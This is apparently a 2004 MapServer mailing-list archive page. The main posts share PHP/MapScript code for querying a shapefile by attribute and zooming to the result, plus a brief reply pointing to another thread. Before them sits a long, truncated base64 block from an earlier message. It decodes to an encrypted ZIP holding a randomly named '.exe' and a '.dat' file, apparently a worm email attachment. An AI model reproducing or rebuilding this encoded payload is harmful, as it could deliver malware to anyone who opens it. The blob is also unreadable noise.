YJH88meg36V48xe6gHaH0wd14No2uQZrsD6K/TAnvtlYMO3axpmP35a64jL+Rhwpuuw5qcxh dP/Lt3lintrzSMwElXUm2Bg/Tcm9T6BA8tf6RA2WBJR+snrGMzog8ydg9Q2RE+cw0BXtJxLO 8r3GNg78F0SuYPJZSX9U6lsC5KlSyokohnW23zsQnrXh9j4AEB7M72ekWUAxHerjU1gZQBc5 47XKDRo1xKRRhVQTdOicvzf0/0Vn7qxWapxj5v/2MJcc/CG/aeH50BT1b467R2aY5rrqITZq cx0LigrsReAHOvLVLOsGCwzjsiYHZtf6DJcZltwA3zgMiUkldhwnTi85eNGeB6jp6i5Ufb9d Ltae+5wNRIkg3NdLLLiKT4INRQUPB5M++A4b2caXPYDFeLVBePSwUAYSymcb0jyE1hImWb7Y iC9h9yKGw+CiaNIxe5I6V1PSTw623ew3kzHhb0btuBNzP6Bc6AZg3A9jiYGmYRfBpB+lA+PU lL0C44xs6ywugNDDvQ6rd4S5OszKAi6U/S+XB2pQXt3PILCxEC9fwldK10atW0b9VY5nuaxx lAAMsOJfBGwYHJyRFeWssaAWrg63hBq9WlBrVHBvztEreBneL7AqYTHYTf/tvALFbQpo9BY7 Ly+fwrcGHDKg44r8gg6HOB92SJymCT5JQNocJbjLB0R9OzM3x0mSnPCADOQhAVcqxRlQZB6r jgSMTwgwTs2G6IY9FKw5awUNe66gs+kk30kygqGMNf5gJyiV265HwcL/0y2VxsSFB/uq94WX P8geVxFxbUpoxCBNvcnK4Qp3aSMQ8RSP4Mx7jKOV/DVAxEjzwnQC3b/pNb+pSQEJrNyAkoZc H232We0T2aDSXAUSXHH6X3Dz7JvKTUCawsBzf1sPmrkEupRhVaJWs4cJvP+OO0h9R/EkQJ80 RFsOCUKCPKZk3STRA11p2eEkueu0qfV9oBkaSyQISLcQnGKiDhlq2OUP7EDx0ossjbhgmRoZ WslS1PUtJBcNMx1/Kxh+wDPyok45kRibtyMQtnYNr64kvWT00QIXRqz+5Hv2gJj5lWQuGtb4 R1MmFiphZHG1GAq5BKkC7UPPg61n9Kgk3jnYId7jAm/sLiYpyOcqMu9M4vF/SV0qHeKmxHKO wb93cuItz2KA6A05/CYhLCK/v7TK1keLn/qQ4BS6mKFO1nCztSrimMExUx+ecTYhZor3Y4UZ HboK7IK0pO390BKQh3EyW1p/cxYiWRlzzo2B7Hf6r14lnScsja2trVOVNkSdXVrehGlP7k+9 0aHdjoAjRZHUu3ovrcvJdKK+G/RiZtA0zHhxWcZgP/hVvBd2aA3+LpAud9OT/A87lpXqFwE9 Kdfa+4D//ZdQtQ/LbUSuvxol+oC31kZTF3OJ/vKmLOFmV5JUW0qU08VRiWuEIWDHP3oet0tF Qp/1Rm71yRqfrGuOTZpC53LYnmbm5d93bGj+F/SKivh5IyExYbiHuXSc/UfW+IPqSuNzfQjm +wGzI2zLyjWvd6zNnWKzjX16ZBQklnpvgRDoBwmxz7eJA9JyP05Op9C1Q/DXHBOw5VwEFCX6 ckLrZA9xWVjDMFvELv61jx4at9kZH0fVmGyHy0xu0i4rJhzNEGSmDLr2JcgD5D2LjPuwnpLw /60DjUymvglFuKqTbuK5LlPEMxy7iJ7fMZFjqlENktgl8/c9CjnpYMMtm6XopQnAvV785SHi 7f2/GMQZDQoT6ZDhVYSgmItx1GJuet7r3nCYDK4aBBv+jRNWXUelM+7YQqoeQ+HfoQlJ3gd/ 2QAPs0uJTzgMKw86bWGpHZp1oHQPob4ciZTmNhG8VuU+DDNF9nbIAHqWUeNcEvoEh5Cg7m5v 043sDmb0xJsYBpsHUtk0I9ClD24NbxsTq1dBIJsK2LKDsySg5slA0jUyvjodC0VFTCL8+qpS noehSRqRAU0n3BgEPnuBgj2X1M4gpVGEmXkmjgAwU0a1wRHzPDKR51HKu0kuZZaR5nO3lmFk F9Q4rpVjcNLg/kLCDgMVDV8tf2tNHfYT2zL7/VvFlHE+qZDutQcTD1PyH/8RPxy2x9fJkdXP UmSu33d9MtTzesFbm+8kzyk1sWetSqn+iPMiBdD8qvypQ7v/9xMVfKfmCED0yhGD3PoUGYtj K3+xXxy+Gfa8+hy+c05ieluYDQocZiwK4RDaPHhX2IgDDk0dFwO1Z23qzwKdIM5nBCPL72vF WTnAvnt0JfntwL2IfsoCQgetws2NiIwXBzghMR1eTW2eSO98G7cJbMBK6GAiiQHtgiv+I7QM 4SjtwTZNrWzBiLjeeLnf7QJUyz6s0vL9GgclCS0EiGYP0x22oKWkLYicXBTXyyQmO4/UKocO awjLLaVLtRVoFriWR4BCY619jqBIzSaoFq6qpvB7tpOzT9OcNhglY2Ltj9WHEt3cJx/1/1H5 a6BIasyrsCJhxNN5dU5UjTiYDXEfgsXj1KX+y+w27KX7EQFtn1SJsiOYoBrcmOWV84PVF2jg z0nlD8hWkZI7e8la0cjqLu8KwyNVfBj1cuQRnC/7wuZ08pdiSs0h9LGbVaBnG/5eowAK9v0d kuubyiDO8m9XyqGIEG1PxfwCQDuZRh26kK4hO1YAGNvqh+jkL0kc1JBbZF2I/iMAPbTQRGi/ 0RiOcDlcFriqxtVyzOYmpxyBGezd1nlQqTs1uNzFfRaVti+2MwDa/gLbZKWQbixT3fqXiHFW iC6z1AyH7976OMs85k0Rl3BiCKmfGd09jnigR8qulXKeC7ner1khFDTkJ8gg77ZVzdArJZuM MLMgmn6h4cRn2O6gabPx702XtB3wGzNWijzOXxV8P54F1Z4tSn1DF2+cV5hMZutYtxNyG5Da xv4rXS8CcYOrEJzPZTfcPLWrOIeGmXt/Pib6hQc2f4sQdf+Emj83AqfrdQN/6VoSLPZqfE+Z bESJrbPajuOKe/MI9SRCHY8DAr88FfhVmAQMudbPKkd7MDIR+rY7sPT3sjABNooSr0xFf0jc PuCuOBE7loCplPSVfMZ8zPjmXh2azPe6wLl7+VWaWj6tYQyzs1NEiXSuoYn++yLXiVXIlIgQ xLbSl3pGeGWas8HWLyREgBHCWU+jqxoqmtPiLTtQs+bnJwm5CNH+FCnWW8GtSU/zTlfrXQ+S R/V8/B05Gap0NWGLGBXnaugvo8/BslhFDb9RLWMaTgYoVkpd0YH6Ojd4s8pu9YJkHgtnYWyv G9sE8tAtfFXpe7qIaPhmKbhMmpH+qI1QIS/M1magmpxXxv8KWMVsgpjR9TnOis/4Vl1OzvCg zEaYFwGj3njRTGDGrc/LzMaavtqlX0YJFo5jsjA7oh9lXldq/+/5EIABcd9A/dnklNGKBmq6 p8cLdnUU11OYzHyjfVfn8SRZCkmfCfjyeLW9D+NymXhhiei/MYWQFSKTpmVMou3JoVtMcnNu 7HcN+d0wKM7mEx1BIpCijKSPwABWeby89gDMYKo7PhaQNSXW2f/ARF/dN2m8weQfpan7DwFv Iu7vmteSeAUqL8EmotIHGbD1Lx7IQ4prByOBkrb7Q/Gdp8hl9C/fK5qPkBUKv59ng+Qze2OM q1d10fG/iPq/iBHGWYCgBj0KVLgdlcY4JeqjKE0pcHmhEQvdefY2vCIPCqX5geBU8hRRyW48 kc+5uG+i1Uj+XcjhU8PoKLqID2JCfLa4NU7XaNISxU/P1U6FUWyeGR3olhVIwNy9fYVah15D ZETV/5Vh8ENUYNBYUVrIjK+R6bE5UL1yhkwhhbRwChJOqHj7qq+BSYT4BYO/wabEKpmewyqx zVsT7oQG2HwgHOjqhpgGPnNKDV75AkA9bmbWIM0CR0NQYqI+nJHPycASRqwHOPjSehVmJqgr ckBLHmQUAos6No4pic+EW5qTb0YtuomAJ7Hcep4/GjmtZoXZBMbQWxeFfyv7V32B8eeukNG9 RJEyeDE84bs72QRoltInGyc2m9vGp43DczjCyFzOuBIn3ViCoguMbpDwYK1yL/QGoWmgQulI P6l5iTZUtJgd5DgPRkjaybGhPZ3jn5/rKLExXTz9ctOrpQI2HeuC57UK2o4cTTXFH53kl6j2 XJwCPKpqDxfltIEhJT3QTFEzUgKsRIkb5wopGsiIxm//cseFIwrdA9znJ/Ycj09Hzlrr2lzS BkDzH4NZ1Ab9CdiDMizkqZR2JRTMJJhH4dZ1HtxLda239LGS1jahwMMeo4sYA4CjfbcBKeCq 6IgJ6MZ0Jebx9O9LQ731eBw82VR0wq/4aR2EG3LTeUkhZbcWU24OesYlIExKu+eP0Ef0m2vk zuulaKRaZcBqDYoFpK1r1byO/yPn/YaQluJ/z8kpc2gvhFJHMDODQaQDgISrLje2qYpPeAs/ AUwtbfPM/oKkwpX0LlOkVH20fVCfZkBN9gYoEtcdajTLQGWK6k9AniuqAoxjEyZTezR+rG2P anz3OddxG2O8sX79u0OsnAb5X8ZwnvJ7JeVfdic9S+tC5c6JhfX8DlNcVSalf8LW6boM54ev 5suqIz1V8fiq1opLB73CYXBUoH4d0njWzin3T5KZE3WTSJ7hdKmRnwS1SkV4MZcK3tnqOEPH +RFsoj6a+AjB4CZCnmElyu97Yt6jYU9VwhPD4D8k/GrhkIrQ4OhhJYQWgMj7T4nvhFKL5B32 TWlb52G9HPKIIRXESsJs5mYmNWYYSK25ZSCJQ0evniQB4oxYMbNeXZZLfxfghZI0vxKhL/Ug aeOeQDuI6dmnC9K4LRQqsKuJ7ldN8YQrm5YZY+SKewUQllA/nunKJdWUAZdYpy/d/WJSRzfh jf1DxXVIdZE7n/JjoKxne09a92nEKHHjY1EYgM+ykcrVEVsImD/d0G+NkebEKmSQ/2xVnOxf Xr6rBTkH+aH63C5g3hFVnBcwpgh4Cd5huLSOMgKt/UYwA9gpHZwSS3B3Fh7DJnBvAAdrwm/E PMr4M5LYsy1UvZffIEK2y6uT2d+jDvPcgMh8paMPL3GYmC+tVgOmmC0vnMlhAdWLVXutJatT MAcyz+EwxQBOFy01jeZ3nEqslsPT7OPtD/hWatqDDo0UlBtsdomuwRMhlromRPr7LL1mEetk Vp/xPK7OltFmvYPKTj7sHxateMdhOFF21z4EXx4lMLgy8QWqSAxonkUhexsGMqQBqkzk5t6q pU6XXZh//KmffYH/121MUZXOb/acHrTQ+MsYXSOzZF0NrZPnN3PNars1s9zBTI64PL6g6CHj 5dxE3yBXnUvCitivBFMQt6yb+dDgN/ZMNMB55BSNlWMkhMNL14+Loua0HkAOrjNn9aISfDk5 YPYAv3nLc4Oa3avVgV/mU7xkRdp2M4X79IuoFtFhlRxEsLjKmIXrbOTfrCyTU7rE/ow9A43x qdyMaBoQbKeaRTPARJVMx8LClbHjTq5hfP+FgPbAJ1iGzMwlkLRSocK2UIivVaiSiTYIIJqV w1PecMVR8h/Q4TrynxJVTux+4uBwpjCffhfE6syDDXdZFOX4HfG2sTxfkWNAxfYn17o63gpx UCgFFM+pCdo0BZPqZosW0b0lidF1RsZwCzGdt0N6wKgw68NUDjxoB01XyWWQltZ69ONS7b8+ FxWU0LLa2skhrhL9fbUAoafJDRR5dDRdiVwlte/xTuNLMNz+Ab0M1cSmbctPYTY4/ZOHliYr mNjHcJ5DgTfwB5BMuCCRvZRa9/bH+QbFFYxbd3Lz8iSg63YA3vJDrBFWqhGdUQRN+vYVk8OE z9A8f4eV6aM4yM7ykCHtvWlojGyCU/CHN/SUDz/LEtcFPFH21Gy34TyxjPYY/MXU7ZQW0vn4 L3132XY2navcskNDhhk44+wU79yIeV5hfqdP4UzBRdmmt2mlc5HTSShq9yGNMQKK8cynrjEQ vXJ1SLv+vl0eY3C+D/A7YnU94ZtTNHdfcIrplfaBPGTbtNsMAZdlhoLoDPEMR4DPtOf0KLSa TQiuLvoz1THnGWYWyCTDtP8IseNlBUbRdAtupAzT9mzV86gXIRYSfa5DEuM7Dkb4bzSBDInQ qnDrS7McEGw5Bnf6lzN2uQ8BD/u/lq7zn2KqXDsUfXWtVPcucg4uHUPv7In62vW18hqbl7qc P0FYJI/9haHz+uf7mzlrZ09cvF788Jry7bNnOinxvD7IoSeBazrX6G1eYtZvN0m2zh0742or CYYcaWA8izfWDovQu0hWQtn/gM0l4ENfMG0qzxNXSaqVAp7b+kVlxZ5eoyI1ZxA6Dps4nRFf nkjwwm4fhcgUhEqzYbhmgUJ1TCaXTaLRXI0WE+AdT2ieWA/KMkHEY5E5cUIv+CqbEoK9b/+2 BhN3JI7PCHA4u0CYdrpmm+nEyAS8NWZCeZJgb/jHqNyh55vt5rnDZ+vM5/G7rjOtWnFVlVKZ wmdwZRya8Wg6t34rW5ebgij4ZyCoET4XsGa+g/wb/iy2xerhpZr0BTp3rjscgBu4/YELF6Ut YHTiSb+s+uK5GgCVsI7WgF5IMmIvJ+IMwEbrkxJ+L0+WS6bvdcjXXKGsh4Qojuefjph0Nao9 scxCyJjskxPxcpf7+W/tURm9nbSKPCU+k+kiIt3Kikj98SpHNNxixzAi1o1dGoGrH93PyLE5 w+ZpgCW7g0qoKKBYyM7NYGlAU61Nc4GgIqTma6/HpZs8jeGNkJm1L1MSFIG7Lg4xmjQN0djl gc/+Xi5ZHYrXdqSbqP6MZZVK782+27ijrF0rDMbHQXD3vzVhkmMhvfA3KLzswPIZhS8WcQqU 4oRzGwuJiSuyy/ZpRPWFmgYpixixdfVPdNrrsNTsLyR08snKMhRwxghj1C9MkBP55wr96PEO EZRGJIDoi7oQn7qG8XX3RJP+BBCgAUOj5Cj0AZQmI9nDzvTPL4mDPyXHNWjIfgJj5F/KUs5w IbP3v4gMhUaD02ZG9igwpObxG7iFLWKZdCRf+idkF7JeCk2jGHPTah9Cxia2BEqAfv7Akf5C qTXIkyLY1EIi0mDkEvuwJyTMOop35u2ZdHEq9n5NUKy0NqeUDRjeCWZweozkK1YQCfLu+Oy8 DNvTW79QmSPKIBUx2t3+IIOgcD2ztYxKSNyIePG/q02Df6i2MzR9SqvAlQA6gnguKfK/Wx20 0wK07J5tU+/Bt6xL7ITWo+n4+KAhSOH5hkhtSCa+8EaRPhCVV5wkFE7Qpt8cIU3XKT1e+2Wn ZWeQ5d4WSvqHbQYVvvUZbvmPPQJUvd3dIpHa2AKBvsG7yVpI167hGXZebZt7iaQ4DHdXlJK+ j1MS9RBPBtIzdmwjQAXn8SiRtmYGNgZV2+OpsUBB+pJbQS1oOXB5X7HZNAWJ/1RwZ52lo2B6 pWnnW6E2SfdpwA5p3UmNIsyb8sdL32FVdZ90Tb2T+uZEnhUfRpnFv6K1F0rrpSkA6CFhhBYx 3JtBbUmXnx29BozLQhxft64aNspFlPV7p9BfSPVDlXxNZ56SFYkeTDukNRIQX+UD5YdjQgKQ zgo4Dqe7BdJnWE8+2BcUewxMBiMYJuzzQ+pYSPRUQx7KYConZAxYiJo69A8eUgm1dTxBYG5W Nz4ZqVj9uwvrjPSlNy8tQcMXwfRc9kr2oyOJ91nxJLwko34p5HWyEJE0KAJ2P0NpM8Us5kmC NsUPbZAiOTblZJ9Z1No6C1O6yijYIXEwCsBKwcPAIA5QL8mrTV+29hAaGeRrzmAtRVDnWG+E FKkq6GBWTkDLD+IbiDg+joyJXlnzA0uj0LAbk0ToJIp4eKHQ9TJcCB5wOKpQw1sXAyC8NIaX hzcrYVUiPotmqGXBdXpapdKRibIND0HOGY5wuTQ+LrVk4TzlrItY29fv2Uzs8W80dNR4XQeN zLz2+o4G92jW/0QVZocQNJHUrjezQBrrcpvxQxhIsRzU3qwRCvapnDnLhy0CQqMjz44VamOC 15rCxkCwIcRimoR8kSvYJwXqqpENxLSaxmjZpX5ycKRgZMcdfhvbwmxdEqLBbg7t53FuHU97 6o5hUDcgdV/SXhNdX9bGLQFNq5Clh/r2jUJ1MQycDS38mWHgr7rjMQzHmK2bO8lnOuQ1wPG9 rSwYwef+ex2YDiYAgspv1L3LFszagCp712gMmkxusBgU/U3HHz1kiw3EqZf+LjP/hiIIorI6 Qg3U1ugH3tR08r0IhdRGIVv40/UHTAEyLUsdmJ0/F7CoDhIrKdYz5MgDbxqwLa24d589F+TR PJAPz17SR+gPRZiGEZt+l/Hq4n9KWnW8sB4tn3a4ma+8s+9jjno6S/RPLI68b6CjZkPvlS7y c7uxrlBzhTJHczuV9Labns739GDD+2r4rvP1KKOuri2Nb5CBMB1+wUmD18vsIC0BvDGCO0Dv jM4lBtJfoZj9ZrvlZTJRWC3ArTI2FmhK5J5doejBywMyRNiv43hKjVyVn9WOgYIMugGGMtpH EP7lFFifC40V4H/gHHIECeG5FdIhx9c/8NBlKBkkyGARSNyMkPtNuPoWYjmW5KGCSc86WaJr 9fdP4hy8LfaHi1q4Mnn2WZCiFgVGh3HcP6xMHwJ7Qpi2EXoJtWbO1CrsbeBleU2dDHLsJzha 5JDlyMe3uv67lGJ4f/LgWiPBEeTaxMb/ACdFGYzxtMikP/g6abU6T6ka3r56uFHwTt2cyaUl kJzEJgrWikFB49ZjSADgU12i3a/qTxBi9vBTv5ynYaPROCFNdBJOpghAHGLMH0IEjdb/7Mqj t7YqVB7qxB1efMQpQrki2G/pf/StkuCn0I8Qa0SaurnoPlmnieB7vfEJc6xXudQbGmo5u2Mm ayQJ2oVp+LWL/lduw9AomaZkduIA9adZ/YuRDxWXyja3RRw3q0PcidHTr4HTcjci9ApXBE5a Mi9ES5e0AkLy8qCwd9xhL7iRcsBjZ5HuR5wTwofZTgsNqaRHSkFo35amlq3XM3AZj5ZGdAIN rTHq2DzYOG9bJqH77SZSZlNtGCKmV2rCynSlJN+2p/wu0UkA5+nG327SRqzhF4uEItY1dPZq fONHiqnV44KDQ8NzSOGZxDtNZFiZ/x3rPccGkxf6I56WWvc2/ojuPRL268UTZR/SALMVYtEZ qlkPENoEZooHf9nglW1fflIV8JoBv3xil+HL33Y/qvHpsrf0ZUHWzFFfkIhK8uKmgtAzcPl7 iJjeHOxLOyJKYTwyM9DQyTI7IWnKOdWUv14cAcPP39aoHEhLfaKMlfA4EvIYDk2teESqkLCT mmHjqT2uFuzlsYOKHG414nfQhosD4hA2lbLhHukKU3b/RwIpPB4APzKIKHKroyyZH6LaqoUg Ed7y93ue6g0W0d9/AbS9VvteKD+FVQ6ZsnHx7F9coE5Y1FZEQFpCuTV6qZXFuE15NsG9VZLY xFRd+nBjeOcibUtezNiXW2EQeIP0Vli13xQxEjq/Bs29WFlZW1qpv5E6o60sTZEFk+9hsqTa 89ZUwMyMHiXxPnEgs3+1UVxVpHSD2QwdkPlw2gil4ucgCCClvNZ5NJQfc3fT49Tz9RzsGkIq kxAP886GO0kj+VkAlIix8Ebr1QKfqj9W3+7a8M+UtFHMQ3ot4gdxQE3DBla6/kd5EICTfR05 +a0O9nZCEgQuDtfW077nLxW0R0RkPQEwnAzHU2eVkfUV7CWpT+dyfFvMkigmI8CmfNK4dF5S Lbkj73c7YhZKljOP1RaoVgicIExZS4FgUAGWEn5iu0JjpEKTPJ6zEeqaoCmY4EsswEuFrzTX DBVCqSaCkdUfJSkFDWQPJUTJ+QfCYF1fBi+tnSS3qwFIg63QJJKh6/CBdcK0F4Q+5d2lj3o2 JciKiMomcGxytfX/AhcXmkfR2Q7sfstMmzfB4JsC60PgZKw4qc0LjtiK4GemtGdsItIxV77d mDz2rZNXoGQ2HVHMXGWPaUlA+wQAZrhRIuYiVLOjhtn754BFKBxWMy3fOZM3iZGAk8uJB3De loaRaKCd/jalJe0Vk4ZJsvYzISaoL1X4Sj6pfYZ11LxYLIE0D9XSkRFi62BU3fn8AQ3xjHX+ OLYqLbQvkaCrpqSuDrvnFckaXwKkpMZp+zFvsfipZg+Lj7ODgOYe/vKzXs4mr+z4I6q0k1Aa ZZYq5uybdbOvNLRw9SrLlr+ZbtPlAMPFwTMLDws3iteO1alhZRhsYiq/A9tJqvnA+djH9JcE Rk+rKR/iVaSu9wTeThAKwoCjwLAsTtK2qXAKTRaI5LLHNE0+Y7SfUn4AtUxcxWj9Tjkeu+4E 2BrYkjfB1hjBeypBvSY8/GthDN8gvGomM/ACZWHDvN2Qhz97q1CVTI09EDNZVKqlcGhaYZv8 p1jA2G9hPOzjtBByfx2vgQxa01elyCJB+mNBd7w3iSHIZCNhVYxHakrE0fZMQglwiYEX6Dz+ Eek4/kA4KztXqllNo+SwQmiF7HSKosCGY2dO/m0TUVxav60aHviWpIOQaXUfcCeIbQVP+AsO 8j+biStAge45d8rRjRzbFAm6T+McRnq7qtjw9cSzZRBsg8o6RJrhWSBENhItcC5VZlqposbT u9SbKjU41KJ6IXUvXw3sAdBo1I1iioJI9iSYpn28TugxksQDi4+eIn2ZO9XaW+ErPnookhcT tNnk4lj0mb3E/jSuNN9TOGTS2nfYRh2sC3rs4xoGOFI6nIqG6Bb5hMXOWmF5MPTiG+6ANPaI iB13yzFOD/YO9fKxrHYsuzPirQdONQPjlD9l7lREa2AjZJbSHy994AB45CU1uYfn/6RNW4+i DCiCP7RGf9E5Vh0K3rYA1rd+eR/we5eZ2KBOo+QOLX7guyY25/VZnRfXkLBL/cg4WnlQXip4 sq3DuzEEuLVY3c0/au53kV5T8vkXrNixtVufjIYf1qAuncPqyGdZXe3ePCKw/d+4uBwFr/z4 TmQSgp46kMjpjRJlM4tzPxujNFPnlcjxzXc0uO49BrEm4wLzeKEpIJbykCQOYEFg50fgsU+F zE4ae4C4v3IfTdQNQ4z1eDc0SLV2QKFFlqa+EkeZQtih9jZTXJKnMocbXzbyiMt7nREswqH/ /CU7KzL8eoNEa2IupxH9Uh5HaK3NH52rTtIuabOm9lkTjqvAjY9Ct6iSueq/FcX1ZR5sQfaS 6l+d6HfbNAJK1bem6fPbOIDDDYwaexbNCSfEqMHcCQ0f16LHOAPX/1pNg17WE2UulkAx3pVI cZcw+iiZ+KJlyXthb7VoHfaxWCbnPVi5YFISuDMG3X7pH7BMODpod8h0JLL+vUZ81tdKfZ6D npcaIdQolYZRsv82eiWOoCW8wKafZfXKi7hlOEw04kPTZCS/memovbJ3I0QLa3Maa8AgD1oA G7k1m+Byq4J8lyPyD/OwmleeAadoxGdiy5dFfsIrDks2tMxpKjANdRABnx7w/L+PQQAGliP6 sYp2hbJ8HH3+YWLE7HBmJzD0XS/REI8CU1eCVhpueAHL3CSBw/MrQTDcMtubpMv9vLJyBOQd gkvnbb4ByeDPaIbeSWVaPGC6jTnqQ/YwXxsSP6/NE/9o0NkUT+HwlBoMrRHUvwlpSCdeMKBb 0C7OoEvDDyCunSRgcxQVK943zxcwNQOzIvtr9UmJKtJ9airz6mX3VNZksdh06fVkV5XGWwii hNPuEVXwjhqIOjWBAvVZ1kw8EsnwO/Ur+51RoBWVOfm/I1sls+7ukmlWdk4TtvlXTVo61Bam kD3T+YkULbUVUbF2Fhc+udoHAuR7HQ43uiWrYiUQxWpf9Fji70zYpIk5DpO3sz7Fw2uS/Oam S3ydPNSl5k/Tyi/kxSBOd8wfVPQAeEG8tiNU62twcyEKSeAY2mUkz9zGrpY1uLauKAIZ9FmF BoDdfe4r+PK+jUvo/pR0GUp81y0rZM6Phb4B2BlNRznvv80Cd//zAqdBXblWT32W9j3AGvP8 oCfsHAqU4udNw4uH/l3OMzf39bokcIBK+p1pv1VC8c1KFjD+XgLvz9mreK12cQPC97eId+dl 2NW++filLN2Mx4hoaPM9QIJXeIrCzy8XIP/C8PmDK4qpPjAIB99CfA4wGjYcVqnKufL2jX9Q xwWRJeFAX0qlaW58KqYnJ8kpnYt9HxgaI9bSWFnE/VNmnWVs5x0eh9m09sYCwdwsKVCeT2i6 ZDZz/mpTexI1Hmknn9H0ImiCr38499CCw4FWvGIeLYN9Ae7Ta3FdS03RH+tbdTCf9Mtp5egJ KQNmqKouKVXUx1Fsq6A8k3N6ad30h7OOAPWQfcUMqc0Nq5857eWcB4txC8qw1QjvMYAvTYWr I2qMC2sE3z4xdSeEZcE/aOYujHsWPH5jKsoFtfm+ci/dIVtlQkBrLZjo+I/d48zu/miAhwTv MrEFJSp8/xRc4fqlN8ieU5UQ5Hp7su1Ub9l0VKWsFHvwTQS7SB2vZHt1XwSgqbsC4hEHVpoW JD+w9Kf4l5WHXhFqdAM7Wno+KyDbuuwEEUQA44/LAilY4FUhS6YBYGW07Wk+U0NHCOcGjNi4 81Y6xeBFPT2RWJmqkgMAskGt7ScO5FxWJ1efZjO5sbTTYCN6wRHT4LmrTWUyez9Un4WQCyu+ HtZbOXbVln6MaJG9a3OW1DIiigOgnnyOH/ttZEp6DBYwV14aYJabzpItb9UnO3Pu4lBLAwQK AAEACABANdEwArRX2RcAAAAGAAAACgAAAHpvdGxrdS5kYXSUfedCfESQOKJt7GzYlN79/irq Hg3HZVBLAQIUAAoAAQAIAEA10TCaYTdaJlMAAM1PAAAJAAAAAAAAAAEAIAAAAAAAAAB6eWJo ai5leGVQSwECFAAKAAEACABANdEwArRX2RcAAAAGAAAACgAAAAAAAAABACAAAABNUwAAem90 bGt1LmRhdFBLBQYAAAAAAgACAG8AAACMUwAAAAA= ----------rbkliidlodfsilaqmzlt-- From Frank.Broniewski at mnha.etat.lu Thu Jun 17 05:13:19 2004 From: Frank.Broniewski at mnha.etat.lu (Frank Broniewski) Date: Thu, 17 Jun 2004 14:13:19 +0200 Subject: [Mapserver-users] [PHP/MapScript] Search for attribute in a shapefile Message-ID: <000901c45464$7a0d47d0$aa696e94@EPCCARTOGIS> Dear List With the help from some of you I managed to solve my problems on querying an shapefile and zoom to the found shape (polygon, point etc.). For solving my problems I have browsed the mailing list archives and the docs alot but found only little help in those. Therefore I want to contribute my code for others with similar problems, so they get some help in coding their programs. The most difficult thing to understand for me was the interaction of the queryByAttribute method and the zoom and draw methods and how I get finally some results from that query. I'm not a programmer by nature, only geographer, so the objectoriented stuff is sometimes hard to understand for me; all those methods and members and what is returnd by what method :-) I've put my code in two parts, mainly a function and the call of the function in the main script: Call of the function: ________________________________________________________________________ __________________ /* This is where I start searching for a Location which in my case means: I have location names stored in a point shapefile I query an attribute field (called toponyme) and get one (or possibly more) matches, then I zoom to the found match variables and names are partly german, but for theory the code should be understandable :-) */ // if the user entered a string in the queryfield if ($_POST['suche'] != "") { // write the querystring into the variable $SuchOrt $SuchOrt = $_POST['suche']; // call the function Searchbyname and forward the Querystring and the mapobj // returns wether a string or an array // the string will contain an errormsg -> nothing found or an array with 4 coordinates // grouped around the the matching shape of the query $extent = SearchByName($SuchOrt,$map); // here I test what was returned by the function Searchbyname if (is_array($extent)) { // if it is an array set the mapextent to the new coordinates ... $map->setextent($extent[0], $extent[1], $extent[2], $extent[3]); } else { // otherwise get the current extent // which is stored in a hidden field in my form $extent_to_set = explode(" ",$_POST['extent']); // set the extent to the current extent // I'm not sure if necessary, but I don't want to test $map->setextent($extent_to_set[0], $extent_to_set[1], $extent_to_set[2], $extent_to_set[3]); // print out the errormsg generated by the function echo "
" ."

Fehler:

" .$extent ."

"; } } ________________________________________________________________________ __________________ Here comes my function: ________________________________________________________________________ __________________ // gets 2 parameters, the mapobj as reference and the location to search for as string function SearchByName($SuchOrt,&$MapObj) { // set to maximum extent of map for searching whole map and not only the visible extent $MapObj->setextent(42000, 53000, 111000, 141000); // get the Layer which should be queried $mySearchLayer = $MapObj->getLayerByName("Bezeichnung"); // set the Layer to active, in case it isnt (I'm not sure if necessary) $mySearchLayer->set("status", 1); // query the layer for the searchclause and return only 1 find (if more than one) $mySearchLayer->queryByAttributes("Toponyme", $SuchOrt,"MS_SINGLE"); // multiple finds are more difficult to implement, as one needs to calculate a boundingbox around all finds // maybe later :-) /* $numberofresults = $mySearchLayer->getNumResults(); for ($i = 1; $i <= $numberofresults; $i++ ) { $myLoc = $mySearchLayer->getResult($i); } */ // if we found something, start ... // should maybe be tested earlier like: // if ($mySearchLayer->queryByAttributes("Toponyme", $SuchOrt,"MS_SINGLE"); == "MS_SUCCESS") { ... if ($mySearchLayer->getNumResults() > 0) { // get the first result of the querybyattributes // which selects afaik the shapes in a shapefile which meet the searchcriterium // ??? comparable to sql-query in arc 8.x ??? $myResult = $mySearchLayer->getResult(0); // open the layer for getting the shapefile in it $mySearchLayer->open(); // gets the shapefile as Obj with the parameters tileindex and shapeindex // which returns me the selected shape $myShape = $mySearchLayer->getShape($myResult->tileindex, $myResult->shapeindex); // get the outer limits of the shape as rectangle $myShapeExtent = $myShape->bounds; // here I extract the boundary coordinates for adding some buffer around // which also helps, if your query is on a point shapefile // because afaik minx and maxx have to be of different value // the other thing is, that you get some kind of close overview of your found shape $minx = $myShapeExtent->minx; $minx -= 500; $maxx = $myShapeExtent->maxx; $maxx += 500; $miny = $myShapeExtent->miny; $miny -= 500; $maxy = $myShapeExtent->maxy; $maxy += 500; // write the stuff into an array for returning to the main script $arr_extent = array( $minx, $miny, $maxx, $maxy ); // return the extent in array return $arr_extent; // otherwise ... } else { // nothing was found, so create error msg $fehler = "Kein Objekt mit Namen ".$SuchOrt."
im Kartenausschnitt gefunden!"; // return the error to the main script return $fehler; } } ________________________________________________________________________ __________________ And again thanks for your help! But be prepared, I might come back ;-) Greetings from Luxembourg Frank Broniewski Mus?e National d'Histoire et d'Art From eduardo at consultoria.eti.br Thu Jun 17 05:13:06 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Thu, 17 Jun 2004 09:13:06 -0300 Subject: [Mapserver-users] Can you do Logical Expressions in PHP/Mapscript? In-Reply-To: <002f01c45460$9e4a9ca0$6400a8c0@Dale1> References: <40D07862.5040503@consultoria.eti.br> <002f01c45460$9e4a9ca0$6400a8c0@Dale1> Message-ID: <40D18AD2.8000604@consultoria.eti.br> see this topic: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0406/msg00649.html

best.

Eduardo

P Wilkerson escreveu:
And if so, what is the syntax?
 
With much appreciation!!
 
Peter
 

-- 
Eduardo Patto Kanegae
http://www.consultoria.eti.br
UIN: 303747254

Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver
I Encontro Nacional de Usuários MapServer - http://mapserver.cttmar.univali.br/encontro2004
Fórum MapServer Brasil - http://mapserver.cttmar.univali.br/forum

***Fim da Mensagem / End of Message ***
